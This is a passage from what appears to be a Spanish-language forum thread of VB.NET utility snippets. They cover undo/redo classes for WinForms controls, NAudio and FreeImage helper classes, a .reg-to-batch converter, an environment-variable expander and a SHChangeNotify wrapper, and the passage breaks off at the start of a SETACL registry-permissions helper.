Private Sub RestoreSelection()
CType(UndoRedoMonitor, ListBoxMonitor).RestoreSelected(UndoRedoControl, CStr(UndoRedoData))
End Sub
Private Function GetSelection() As Object
Return CType(UndoRedoMonitor, ListBoxMonitor).GetSelected(UndoRedoControl)
End Function
Public Overrides Sub Undo()
MyBase.Undo()
RestoreSelection()
End Sub
Public Overrides Sub Redo()
MyBase.Redo()
RestoreSelection()
End Sub
Public Overrides Function CommandAsText() As String
Return String.Format("Select {0}", CStr(UndoRedoData))
End Function
End Class
'****************************************************************************************************************
' CheckBox
'****************************************************************************************************************
Public Class CheckBoxUndoRedoCommand : Inherits BaseUndoRedoCommand
Protected ReadOnly Property UndoRedoCheckState() As CheckState
Get
Return CType(UndoRedoData, CheckState)
End Get
End Property
Public Sub New(ByVal AUndoMonitor As BaseUndoRedoMonitor, ByVal AMonitorControl As Control)
MyBase.New(AUndoMonitor, AMonitorControl)
UndoRedoData = Control.CheckState
End Sub
Public Sub New(ByVal AUndoMonitor As BaseUndoRedoMonitor, ByVal AMonitorControl As Control, ByVal AUndoRedoData As String)
MyBase.New(AUndoMonitor, AMonitorControl, AUndoRedoData)
End Sub
Public ReadOnly Property Control() As CheckBox
Get
Return CType(UndoRedoControl, CheckBox)
End Get
End Property
Public Overrides Sub Undo()
MyBase.Undo()
Control.CheckState = UndoRedoCheckState
End Sub
Public Overrides Sub Redo()
MyBase.Redo()
Control.CheckState = UndoRedoCheckState
End Sub
Public Overrides Function CommandAsText() As String
Return String.Format("Change to '{0}'", UndoRedoCheckState.ToString)
End Function
End Class
'****************************************************************************************************************
' RadioButton
'****************************************************************************************************************
Public Class RadioButtonUndoRedoCommand : Inherits BaseUndoRedoCommand
Protected ReadOnly Property UndoRedoRadioButton() As RadioButton
Get
Return CType(UndoRedoData, RadioButton)
End Get
End Property
Public Sub New(ByVal AUndoMonitor As BaseUndoRedoMonitor, ByVal AMonitorControl As Control)
MyBase.New(AUndoMonitor, AMonitorControl)
UndoRedoData = Control.Checked
End Sub
Public Sub New(ByVal AUndoMonitor As BaseUndoRedoMonitor, ByVal AMonitorControl As Control, ByVal AUndoRedoData As Control)
MyBase.New(AUndoMonitor, AMonitorControl, AUndoRedoData)
End Sub
Public ReadOnly Property Control() As RadioButton
Get
Return CType(UndoRedoControl, RadioButton)
End Get
End Property
Public Overrides Sub Undo()
MyBase.Undo(UndoRedoRadioButton)
Control.Checked = False
If UndoRedoRadioButton IsNot Nothing Then
UndoRedoRadioButton.Checked = True
End If
End Sub
Public Overrides Sub Redo()
MyBase.Redo(UndoRedoRadioButton)
If UndoRedoRadioButton IsNot Nothing Then
UndoRedoRadioButton.Checked = False
End If
Control.Checked = True
End Sub
Public Overrides Function CommandAsText() As String
If UndoRedoRadioButton IsNot Nothing Then
Return String.Format("Invert '{0}'/'{1}'", Control.Text, UndoRedoRadioButton.Text)
Else
Return String.Format("Change '{0}'", Control.Text)
End If
End Function
End Class
'****************************************************************************************************************
' MonthCalendar
'****************************************************************************************************************
Public Class MonthCalendarUndoRedoCommand : Inherits BaseUndoRedoCommand
Protected ReadOnly Property UndoRedoSelectionRange() As SelectionRange
Get
Return CType(UndoRedoData, SelectionRange)
End Get
End Property
Public Sub New(ByVal AUndoMonitor As BaseUndoRedoMonitor, ByVal AMonitorControl As Control)
MyBase.New(AUndoMonitor, AMonitorControl)
UndoRedoData = Control.SelectionRange
End Sub
Public Sub New(ByVal AUndoMonitor As BaseUndoRedoMonitor, ByVal AMonitorControl As Control, ByVal AUndoRedoData As SelectionRange)
MyBase.New(AUndoMonitor, AMonitorControl, AUndoRedoData)
End Sub
Public ReadOnly Property Control() As MonthCalendar
Get
Return CType(UndoRedoControl, MonthCalendar)
End Get
End Property
Public Overrides Sub Undo()
MyBase.Undo()
Control.SelectionRange = UndoRedoSelectionRange
End Sub
Public Overrides Sub Redo()
MyBase.Redo()
Control.SelectionRange = UndoRedoSelectionRange
End Sub
Public Overrides Function CommandAsText() As String
If Date.Equals(UndoRedoSelectionRange.Start, UndoRedoSelectionRange.End) Then
Return String.Format("Select date {0}", FormatDateTime(UndoRedoSelectionRange.Start, DateFormat.ShortDate))
Else
End If
Return String.Format("Change to '{0}'", String.Format("{0} until {1}", FormatDateTime(UndoRedoSelectionRange.Start, DateFormat.ShortDate), _
FormatDateTime(UndoRedoSelectionRange.End, DateFormat.ShortDate)))
End Function
End Class
2. Usarlo de esta manera:
Public Class Form1
Private WithEvents frmUndoRedoManager As UndoRedoManager
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
frmUndoRedoManager = New UndoRedoManager(Me)
End Sub
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
frmUndoRedoManager.Undo()
End Sub
Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
frmUndoRedoManager.Redo()
End Sub
End Class
Saludos.
Una class para manejar Audios en la librería NAudio.
(Es algo corta, lo sé, no he experimentado más cosas que las que necesito de esta librería)
#Region " NAudio "
Public Class NAudio_Helper
' [ NAudio ]
'
' // By Elektro H@cker
'
' Instructions:
' 1. Add a reference for the "NAudio.dll" file into the project.
'
' Examples:
'
' Dim Stream As NAudio.Wave.WaveFileReader = New NAudio.Wave.WaveFileReader(File)
'
' Set_Volume(Stream, 0.5)
' Play_Sound(Stream, 1)
' Play_Sound(My.Resources.AudioFile)
' Play_Sound("C:\File.wav")
' Play Sound (File)
Private Sub Play_Sound(ByVal File As String, _
Optional ByVal Volume As Single = Nothing)
Dim Wave As New NAudio.Wave.WaveOut
Select Case File.Split(".").Last.ToLower
Case "aiff"
Wave.Init(New NAudio.Wave.AiffFileReader(File))
Case "mp3"
Wave.Init(New NAudio.Wave.Mp3FileReader(File))
Case "wav"
Wave.Init(New NAudio.Wave.WaveFileReader(File))
Case Else
Wave.Init(New NAudio.Wave.BlockAlignReductionStream(NAudio.Wave.WaveFormatConversionStream.CreatePcmStream(New NAudio.Wave.AudioFileReader(File))))
End Select
If Not Volume = Nothing Then Wave.Volume = Volume
Wave.Play()
End Sub
' Play Sound (MemoryStream)
Private Sub Play_Sound(ByVal Stream As IO.MemoryStream, _
Optional ByVal Volume As Single = Nothing)
Dim Wave As New NAudio.Wave.WaveOut
Wave.Init(New NAudio.Wave.BlockAlignReductionStream(NAudio.Wave.WaveFormatConversionStream.CreatePcmStream(New NAudio.Wave.WaveFileReader(Stream))))
If Not Volume = Nothing Then Wave.Volume = Volume
Wave.Play()
End Sub
' Play Sound (Unmanaged MemoryStream)
Private Sub Play_Sound(ByVal Stream As IO.UnmanagedMemoryStream, _
Optional ByVal Volume As Single = Nothing)
Dim Wave As New NAudio.Wave.WaveOut
Wave.Init(New NAudio.Wave.BlockAlignReductionStream(NAudio.Wave.WaveFormatConversionStream.CreatePcmStream(New NAudio.Wave.WaveFileReader(Stream))))
If Not Volume = Nothing Then Wave.Volume = Volume
Wave.Play()
End Sub
' Play Sound (NAudio Stream)
Private Sub Play_Sound(ByVal NAudio_Stream As Object, _
Optional ByVal Volume As Single = Nothing)
Dim Wave As New NAudio.Wave.WaveOut
Wave.Init(NAudio_Stream)
If Not Volume = Nothing Then Wave.Volume = Volume
Wave.Play()
End Sub
' Set Volume (NAudio Stream)
Private Function Set_Volume(ByVal NAudio_Stream As Object, ByVal Volume As Single) _
As NAudio.Wave.WaveOut
Dim Wave As New NAudio.Wave.WaveOut
Wave.Init(NAudio_Stream)
Wave.Volume = Volume
Return Wave
End Function
End Class
#End Region
He ideado esya función para convertir un archivo REG a un script BAT.
La verdad es que no me ha costado mucho, ya había desarrollado antes la manera de convertir usando Ruby y sólo he tenido que trasladar el código que hice y agregarle las mejoras de VBNET xD.
#Region " Reg2Bat "
' [ Reg2Bat Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Reg2Bat("C:\Registry.reg"))
Private Function Reg2Bat(ByVal Reg_File As String) As String
' Source Input
' Join he lines, delete the Regedit linebreaks characters: "\ ", and then split the lines.
Dim RegFile() As String = Split( _
String.Join("@@@Reg2Bat@@@", IO.File.ReadAllLines(Reg_File)) _
.Replace("\@@@Reg2Bat@@@ ", "") _
.Replace("@@@Reg2Bat@@@", Environment.NewLine), _
Environment.NewLine)
Dim RegLine As String = String.Empty ' Where the Regedit Line will be stored.
Dim RegKey As String = String.Empty ' Where the Regedit Key will be stored.
Dim RegVal As String = String.Empty ' Where the Regedit Value will be stored.
Dim RegData As String = String.Empty ' Where the Regedit Data will be stored.
Dim Batch_Commands As String = String.Empty ' Where the decoded Regedit strings will be stored.
' Check if first line of Reg File has a valid Regedit signature
For X As Int64 = 0 To RegFile.LongLength - 1
RegLine = RegFile(X).Trim
While RegLine = String.Empty
X += 1
RegLine = RegFile(X).Trim
End While
If Not RegLine.ToLower = "windows registry editor version 5.00" Then
Throw New Exception("This is not a valid Regedit v5.00 script.")
Return Nothing
Else
Batch_Commands &= ":: Converted with REG2BAT By Elektro H@cker" & Environment.NewLine & Environment.NewLine
Batch_Commands &= String.Format("REM {0}", RegLine) & Environment.NewLine & Environment.NewLine
Exit For
End If
Next
' Start reading the Regedit File
For X As Int64 = 0 To RegFile.LongLength - 1
RegLine = RegFile(X).Trim
Select Case True
Case RegLine.StartsWith(";") ' Comment line
Batch_Commands &= Environment.NewLine
Batch_Commands &= String.Format("REM {0}", RegLine.Substring(1, RegLine.Length - 1).Trim)
Batch_Commands &= Environment.NewLine
Case RegLine.StartsWith("[-") ' Key to delete
RegKey = RegLine.Substring(2, RegLine.Length - 3).Trim
Batch_Commands &= String.Format("REG DELETE ""{0}"" /F", RegKey)
Batch_Commands &= Environment.NewLine
Case RegLine.StartsWith("[") ' Key to add
RegKey = RegLine.Substring(1, RegLine.Length - 2).Trim
Batch_Commands &= String.Format("REG ADD ""{0}"" /F", RegKey)
Batch_Commands &= Environment.NewLine
Case RegLine.StartsWith("@=") ' Default Value to add
RegData = Split(RegLine, "@=", , CompareMethod.Text).Last
Batch_Commands &= String.Format("REG ADD ""{0}"" /V """" /D {1} /F", RegKey, RegData)
Batch_Commands &= Environment.NewLine
Case RegLine.StartsWith("""") _
AndAlso RegLine.Split("=").Last = "-" ' Value to delete
RegVal = RegLine.Substring(1, RegLine.Length - 4)
Batch_Commands &= String.Format("REG DELETE ""{0}"" /V ""{1}"" /F", RegKey, RegVal)
Batch_Commands &= Environment.NewLine
Case RegLine.StartsWith("""") ' Value to add
RegLine = RegLine.Replace("\\", "\") ' Replace Double "\\" to single "\".
' Check data type:
Select Case RegLine.Split("=")(1).Split(":")(0).ToLower
Case "hex" ' Binary
RegVal = Split(RegLine, "=hex:", , CompareMethod.Text)(0)
RegData = Split(RegLine, (RegVal & "=hex:"), , CompareMethod.Text).Last.Replace(",", "")
Batch_Commands &= String.Format("REG ADD ""{0}"" /V {1} /T ""REG_BINARY"" /D ""{2}"" /F", RegKey, RegVal, RegData)
Batch_Commands &= Environment.NewLine
Case "dword" ' DWORD
RegVal = Split(RegLine, "=dword:", , CompareMethod.Text)(0)
RegData = "0x" & Split(RegLine, (RegVal & "=dword:"), , CompareMethod.Text).Last
Batch_Commands &= String.Format("REG ADD ""{0}"" /V {1} /T ""REG_DWORD"" /D ""{2}"" /F", RegKey, RegVal, RegData)
Batch_Commands &= Environment.NewLine
Case "hex(b)" ' QWORD
Dim TempData As String = "0x"
RegVal = Split(RegLine, "=hex(b):", , CompareMethod.Text)(0)
RegData = StrReverse(Split(RegLine, (RegVal & "=hex(b):"), , CompareMethod.Text).Last)
For Each [byte] In RegData.Split(",") : TempData &= StrReverse([byte]) : Next
Batch_Commands &= String.Format("REG ADD ""{0}"" /V {1} /T ""REG_QWORD"" /D ""{2}"" /F", RegKey, RegVal, TempData)
Batch_Commands &= Environment.NewLine
Case "hex(2)" ' EXPAND SZ
Dim TempData As String = String.Empty
RegVal = Split(RegLine, "=Hex(2):", , CompareMethod.Text)(0)
RegData = Split(RegLine, (RegVal & "=hex(2):"), , CompareMethod.Text).Last.Replace(",00", "").Replace("00,", "")
For Each [byte] In RegData.Split(",") : TempData &= Chr(Val("&H" & [byte])) : Next
TempData = TempData.Replace("%", "%%").Replace("""", "\""")
Batch_Commands &= String.Format("REG ADD ""{0}"" /V {1} /T ""REG_EXPAND_SZ"" /D ""{2}"" /F", RegKey, RegVal, TempData)
Batch_Commands &= Environment.NewLine
Case "hex(7)" ' MULTI SZ
Dim TempData As String = String.Empty
RegVal = Split(RegLine, "=Hex(7):", , CompareMethod.Text)(0)
RegData = Split(RegLine, (RegVal & "=hex(7):"), , CompareMethod.Text).Last.Replace(",00,00,00", ",\0").Replace(",00", "").Replace("00,", "")
For Each [byte] In RegData.Split(",")
If [byte] = "\0" Then
TempData &= "\0" ' Line separator for multiline.
Else
TempData &= Chr(Val("&H" & [byte]))
End If
Next
TempData = TempData.Replace("%", "%%").Replace("""", "\""")
Batch_Commands &= String.Format("REG ADD ""{0}"" /V {1} /T ""REG_MULTI_SZ"" /D ""{2}"" /F", RegKey, RegVal, TempData)
Batch_Commands &= Environment.NewLine
Case Else ' REG SZ
RegVal = Split(RegLine, """=""", , CompareMethod.Text)(0)
RegData = Split(RegLine, (RegVal & """="""), , CompareMethod.Text).Last
Batch_Commands &= String.Format("REG ADD ""{0}"" /V {1}"" /T ""REG_SZ"" /D ""{2} /F", RegKey, RegVal, RegData)
Batch_Commands &= Environment.NewLine
End Select
End Select
Next
Return Batch_Commands
End Function
#End Region
· Expandir todas las variables de un string
PD: Útil para permitir al usuario manejar variables de entorno en la aplicación por ejemplo para setear una ruta, o cargar una ruta que contenga variables de entorno desde un archivo INI.
#Region " Expand Variables In String "
' [ Expand Variables In String Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Expand_Variables_In_String("%homedrive%\Users\%username%\%fake-var%\")) ' Result: C:\Users\Administrador\%fake-var%\
Public Function Expand_Variables_In_String(ByVal str As String) As String
Dim match As System.Text.RegularExpressions.Match = _
System.Text.RegularExpressions.Regex.Match(str, "(%.*%)")
Do While match.Success
str = str.Replace(match.ToString, Environment.ExpandEnvironmentVariables(match.ToString))
match = match.NextMatch()
Loop
Return str
End Function
#End Region
Una class de ayuda para manejar lo básico de la librería FreeImage
Convertir entre formatos, convertir a escala de grises, rotar, redimensionar, generar un thumbnail...
http://freeimage.sourceforge.net/download.html
#Region " FreeImage Helper "
' [ FreeImage Helper ]
'
' // By Elektro H@cker
'
'
' INSTRUCTIONS:
' 1. ADD A REFERENCE FOR "FreeImageNET.dll" IN THE PROJECT.
' 2. ADD THE "FREEIMAGE.DLL" IN THE PROJECT.
'
'
' Examples :
'
' MsgBox(FreeImageHelper.Is_Avaliable() ' Result: True
' MsgBox(FreeImageHelper.Get_Version() ' Result: 3.15.1
' MsgBox(FreeImageHelper.Get_ImageFormat("C:\Test.png")) ' Result: PNG
'
' FreeImageHelper.Convert("C:\Test.png", "C:\Test.ico", FreeImageAPI.FREE_IMAGE_FORMAT.FIF_ICO)
' FreeImageHelper.Convert(New Bitmap("C:\Test.png"), "C:\Test.jpg", FreeImageAPI.FREE_IMAGE_FORMAT.FIF_JPEG, FreeImageAPI.FREE_IMAGE_SAVE_FLAGS.JPEG_SUBSAMPLING_444 Or FreeImageAPI.FREE_IMAGE_SAVE_FLAGS.JPEG_QUALITYSUPERB)
'
' PictureBox1.BackgroundImage = FreeImageHelper.GrayScale(New Bitmap("C:\Test.bmp"))
' PictureBox1.BackgroundImage = FreeImageHelper.GrayScale("C:\Test.bmp")
'
' PictureBox1.BackgroundImage = FreeImageHelper.Resize(New Bitmap("C:\Test.bmp"), 32, 32)
' PictureBox1.BackgroundImage = FreeImageHelper.Resize("C:\Test.bmp", 64, 128)
'
' PictureBox1.BackgroundImage = FreeImageHelper.Rotate(New Bitmap("C:\Test.bmp"), 90)
' PictureBox1.BackgroundImage = FreeImageHelper.Rotate("C:\Test.bmp", -90)
'
' PictureBox1.BackgroundImage = FreeImageHelper.Thumbnail(New Bitmap("C:\Test.png"), 64, True)
' PictureBox1.BackgroundImage = FreeImageHelper.Thumbnail("C:\Test.png", 64, True)
Imports FreeImageAPI
Public Class FreeImageHelper
' <summary>
' Checks if <i>FreeImage.dll</i> is avaliable on the system.
' </summary>
Public Shared Function Is_Avaliable() As Boolean
Return FreeImage.IsAvailable
End Function
' <summary>
' Gets the version of FreeImage.dll.
' </summary>
Shared Function Get_Version() As String
Return FreeImage.GetVersion
End Function
' <summary>
' Gets the image format of a image file.
' </summary>
Shared Function Get_ImageFormat(ByVal File As String) As String
Return FreeImage.GetFileType(File, 0).ToString.Substring(4)
End Function
' <summary>
' Convert a Bitmap object between image formats and save it to disk.
' </summary>
Shared Sub Convert(ByVal bmp As System.Drawing.Bitmap, _
ByVal Output As String, _
ByVal NewFormat As FREE_IMAGE_FORMAT, _
Optional ByVal SaveFlags As FREE_IMAGE_SAVE_FLAGS = FREE_IMAGE_SAVE_FLAGS.DEFAULT)
Try
FreeImage.SaveBitmap(bmp, Output, NewFormat, SaveFlags)
Catch ex As Exception
' Throw New Exception(ex.Message)
MsgBox(ex.Message)
End Try
End Sub
' <summary>
' Convert a image file between image formats and save it to disk.
' </summary>
Shared Sub Convert(ByVal File As String, _
ByVal Output As String, _
ByVal NewFormat As FREE_IMAGE_FORMAT, _
Optional ByVal SaveFlags As FREE_IMAGE_SAVE_FLAGS = FREE_IMAGE_SAVE_FLAGS.DEFAULT)
Try
FreeImage.Save(NewFormat, FreeImage.LoadEx(File), Output, SaveFlags)
Catch ex As Exception
' Throw New Exception(ex.Message)
MsgBox(ex.Message)
End Try
End Sub
' <summary>
' GrayScales a Bitmap object.
' </summary>
Shared Function GrayScale(ByVal bmp As System.Drawing.Bitmap) As System.Drawing.Bitmap
Try
Dim ImageStream As New System.IO.MemoryStream
bmp.Save(ImageStream, bmp.RawFormat)
Dim Image As FIBITMAP = FreeImage.LoadFromStream(ImageStream)
ImageStream.Dispose()
Return FreeImage.GetBitmap(FreeImage.ConvertToGreyscale(Image))
Catch ex As Exception
' Throw New Exception(ex.Message)
MsgBox(ex.Message)
Return Nothing
End Try
End Function
' <summary>
' GrayScales a image file.
' </summary>
Shared Function GrayScale(ByVal File As String) As System.Drawing.Bitmap
Try
Return FreeImage.GetBitmap(FreeImage.ConvertToGreyscale(FreeImage.LoadEx(File)))
Catch ex As Exception
' Throw New Exception(ex.Message)
MsgBox(ex.Message)
Return Nothing
End Try
End Function
' <summary>
' Resizes a Bitmap object.
' </summary>
Shared Function Resize(ByVal bmp As System.Drawing.Bitmap, _
ByVal X As Int32, _
ByVal Y As Int32, _
Optional ByVal Quality As FREE_IMAGE_FILTER = FREE_IMAGE_FILTER.FILTER_BILINEAR) As System.Drawing.Bitmap
Try
Dim ImageStream As New System.IO.MemoryStream
bmp.Save(ImageStream, bmp.RawFormat)
Dim Image As FIBITMAP = FreeImage.LoadFromStream(ImageStream)
ImageStream.Dispose()
Return FreeImage.GetBitmap(FreeImage.Rescale(Image, X, Y, Quality))
Catch ex As Exception
' Throw New Exception(ex.Message)
MsgBox(ex.Message)
Return Nothing
End Try
End Function
' <summary>
' Resizes a image file.
' </summary>
Shared Function Resize(ByVal File As String, _
ByVal X As Int32, _
ByVal Y As Int32, _
Optional ByVal Quality As FREE_IMAGE_FILTER = FREE_IMAGE_FILTER.FILTER_BILINEAR) As System.Drawing.Bitmap
Try
Return FreeImage.GetBitmap(FreeImage.Rescale(FreeImage.LoadEx(File), X, Y, Quality))
Catch ex As Exception
' Throw New Exception(ex.Message)
MsgBox(ex.Message)
Return Nothing
End Try
End Function
' <summary>
' Rotates a Bitmap object.
' </summary>
Shared Function Rotate(ByVal bmp As System.Drawing.Bitmap, _
ByVal Angle As Double) As System.Drawing.Bitmap
Try
Dim ImageStream As New System.IO.MemoryStream
bmp.Save(ImageStream, bmp.RawFormat)
Dim Image As FIBITMAP = FreeImage.LoadFromStream(ImageStream)
ImageStream.Dispose()
Return FreeImage.GetBitmap(FreeImage.Rotate(Image, Angle))
Catch ex As Exception
' Throw New Exception(ex.Message)
MsgBox(ex.Message)
Return Nothing
End Try
End Function
' <summary>
' Rotates a image file.
' </summary>
Shared Function Rotate(ByVal File As String, _
ByVal Angle As Double) As System.Drawing.Bitmap
Try
Return FreeImage.GetBitmap(FreeImage.Rotate(FreeImage.LoadEx(File), Angle))
Catch ex As Exception
' Throw New Exception(ex.Message)
MsgBox(ex.Message)
Return Nothing
End Try
End Function
' <summary>
' Returns a Thumbnail of a Bitmap object.
' </summary>
Shared Function Thumbnail(ByVal bmp As System.Drawing.Bitmap, _
ByVal size As Int32, _
ByVal convert As Boolean) As System.Drawing.Bitmap
Try
Dim ImageStream As New System.IO.MemoryStream
bmp.Save(ImageStream, bmp.RawFormat)
Dim Image As FIBITMAP = FreeImage.LoadFromStream(ImageStream)
ImageStream.Dispose()
Return FreeImage.GetBitmap(FreeImage.MakeThumbnail(Image, size, convert))
Catch ex As Exception
' Throw New Exception(ex.Message)
MsgBox(ex.Message)
Return Nothing
End Try
End Function
' <summary>
' Returns a Thumbnail of a image file.
' </summary>
Shared Function Thumbnail(ByVal File As String, _
ByVal size As Int32, _
ByVal convert As Boolean) As System.Drawing.Bitmap
Try
Return FreeImage.GetBitmap(FreeImage.MakeThumbnail(FreeImage.LoadEx(File), size, convert))
Catch ex As Exception
' Throw New Exception(ex.Message)
MsgBox(ex.Message)
Return Nothing
End Try
End Function
End Class
#End Region
Informa a Windows de cambios en el sistema para refrescar el sistema.
#Region " System Notifier "
' [ System Notifier ]
'
' Examples :
'
' SystemNotifier.Notify(SystemNotifier.EventID.FileAssociation_Changed, SystemNotifier.NotifyFlags.DWORD, IntPtr.Zero, IntPtr.Zero)
Public Class SystemNotifier
<System.Runtime.InteropServices.DllImport("shell32.dll")> _
Shared Sub SHChangeNotify( _
ByVal wEventID As EventID, _
ByVal uFlags As NotifyFlags, _
ByVal dwItem1 As IntPtr, _
ByVal dwItem2 As IntPtr)
End Sub
Shared Sub Notify(ByVal wEventID As EventID, ByVal uFlags As NotifyFlags, ByVal dwItem1 As IntPtr, ByVal dwItem2 As IntPtr)
SHChangeNotify(wEventID, uFlags, dwItem1, dwItem2)
End Sub
<Flags()> _
Public Enum NotifyFlags
' <summary>
' The <i>dwItem1</i> and <i>dwItem2</i> parameters are DWORD values.
' </summary>
DWORD = &H3
' <summary>
' <i>dwItem1</i> and <i>dwItem2</i> are the addresses of ItemIDList structures,
' that represent the item(s) affected by the change.
' Each ItemIDList must be relative to the desktop folder.
' </summary>
ItemIDList = &H0
' <summary>
' <i>dwItem1</i> and <i>dwItem2</i> are the addresses of null-terminated strings,
' of maximum length MAX_PATH that contain the full path names of the items affected by the change.
' </summary>
PathA = &H1
' <summary>
' <i>dwItem1</i> and <i>dwItem2</i> are the addresses of null-terminated strings,
' of maximum length MAX_PATH that contain the full path names of the items affected by the change.
' </summary>
PathW = &H5
' <summary>
' <i>dwItem1</i> and <i>dwItem2</i> are the addresses of null-terminated strings,
' that represent the friendly names of the printer(s) affected by the change.
' </summary>
PrinterA = &H2
' <summary>
' <i>dwItem1</i> and <i>dwItem2</i> are the addresses of null-terminated strings,
' that represent the friendly names of the printer(s) affected by the change.
' </summary>
PrinterW = &H6
' <summary>
' The function should not return until the notification has been delivered to all affected components.
' As this flag modifies other data-type flags it cannot by used by itself.
' </summary>
Flush = &H1000
' <summary>
' The function should begin delivering notifications to all affected components,
' but should return as soon as the notification process has begun.
' As this flag modifies other data-type flags it cannot by used by itself.
' </summary>
FlushNoWait = &H2000
End Enum
<Flags()> _
Public Enum EventID
' <summary>
' All events have occurred.
' </summary>
All_Events = &H7FFFFFFF
' <summary>
' A folder has been created.
' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
' <i>dwItem1</i> contains the folder that was created.
' <i>dwItem2</i> is not used and should be <see langword="null"/>.
' </summary>
Directory_Created = &H8
' <summary>
' A folder has been removed.
' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
' <i>dwItem1</i> contains the folder that was removed.
' <i>dwItem2</i> is not used and should be <see langword="null"/>.
' </summary>
Directory_Deleted = &H10
' <summary>
' The name of a folder has changed.
' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
' <i>dwItem1</i> contains the previous pointer to an item identifier list (PIDL) or name of the folder.
' <i>dwItem2</i> contains the new PIDL or name of the folder.
' </summary>
Directory_Renamed = &H20000
' <summary>
' A nonfolder item has been created.
' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
' <i>dwItem1</i> contains the item that was created.
' <i>dwItem2</i> is not used and should be <see langword="null"/>.
' </summary>
Item_Created = &H2
' <summary>
' A nonfolder item has been deleted.
' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
' <i>dwItem1</i> contains the item that was deleted.
' <i>dwItem2</i> is not used and should be <see langword="null"/>.
' </summary>
Item_Deleted = &H4
' <summary>
' The name of a nonfolder item has changed.
' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
' <i>dwItem1</i> contains the previous PIDL or name of the item.
' <i>dwItem2</i> contains the new PIDL or name of the item.
' </summary>
Item_Renamed = &H1
' <summary>
' A drive has been added.
' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
' <i>dwItem1</i> contains the root of the drive that was added.
' <i>dwItem2</i> is not used and should be <see langword="null"/>.
' </summary>
Drive_Added = &H100
' <summary>
' A drive has been added and the Shell should create a new window for the drive.
' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
' <i>dwItem1</i> contains the root of the drive that was added.
' <i>dwItem2</i> is not used and should be <see langword="null"/>.
' </summary>
Drive_Added_Shell = &H10000
' <summary>
' A drive has been removed. <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
' <i>dwItem1</i> contains the root of the drive that was removed.
' <i>dwItem2</i> is not used and should be <see langword="null"/>.
' </summary>
Drive_Removed = &H80
' <summary>
' Storage media has been inserted into a drive.
' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
' <i>dwItem1</i> contains the root of the drive that contains the new media.
' <i>dwItem2</i> is not used and should be <see langword="null"/>.
' </summary>
Media_Inserted = &H20
' <summary>
' Storage media has been removed from a drive.
' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
' <i>dwItem1</i> contains the root of the drive from which the media was removed.
' <i>dwItem2</i> is not used and should be <see langword="null"/>.
' </summary>
Media_Removed = &H40
' <summary>
' A folder on the local computer is being shared via the network.
' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
' <i>dwItem1</i> contains the folder that is being shared.
' <i>dwItem2</i> is not used and should be <see langword="null"/>.
' </summary>
Net_Shared = &H200
' <summary>
' A folder on the local computer is no longer being shared via the network.
' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
' <i>dwItem1</i> contains the folder that is no longer being shared.
' <i>dwItem2</i> is not used and should be <see langword="null"/>.
' </summary>
Net_Unshared = &H400
' <summary>
' The computer has disconnected from a server.
' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
' <i>dwItem1</i> contains the server from which the computer was disconnected.
' <i>dwItem2</i> is not used and should be <see langword="null"/>.
' </summary>
Server_Disconnected = &H4000
' <summary>
' The attributes of an item or folder have changed.
' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
' <i>dwItem1</i> contains the item or folder that has changed.
' <i>dwItem2</i> is not used and should be <see langword="null"/>.
' </summary>
Attributes_Changed = &H800
' <summary>
' A file type association has changed. <see cref="NotifyFlags.ItemIDList"/>
' must be specified in the <i>uFlags</i> parameter.
' <i>dwItem1</i> and <i>dwItem2</i> are not used and must be <see langword="null"/>.
' </summary>
FileAssociation_Changed = &H8000000
' <summary>
' The amount of free space on a drive has changed.
' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
' <i>dwItem1</i> contains the root of the drive on which the free space changed.
' <i>dwItem2</i> is not used and should be <see langword="null"/>.
' </summary>
Freespace_Changed = &H40000
' <summary>
' The contents of an existing folder have changed but the folder still exists and has not been renamed.
' <see cref="NotifyFlags.ItemIDList"/> or <see cref="NotifyFlags.PathA"/> must be specified in <i>uFlags</i>.
' <i>dwItem1</i> contains the folder that has changed.
' <i>dwItem2</i> is not used and should be <see langword="null"/>.
' If a folder has been created, deleted or renamed use Directory_Created, Directory_Removed or Directory_Renamed respectively instead.
' </summary>
Update_Directory = &H1000
' <summary>
' An image in the system image list has changed.
' <see cref="NotifyFlags.DWORD"/> must be specified in <i>uFlags</i>.
' </summary>
Update_Image = &H8000
End Enum
End Class
#End Region
No apruebo el uso de aplicaciones commandline a menos que sea para situaciones complicadas y tediosas como esta...
...Una class para usar SETACL para modificar el propietario de una clave de registro y para modificar los permisos de la clave:
PD: a ver si alguien nos sorprende con un código nativo... :silbar:
#Region " SETACL Helper "
' [ SETACL Helper ]
'
' // By Elektro H@cker
'
'
' INSTRUCTIONS:
' 1. Add the "SETACL.exe" in the project.
'
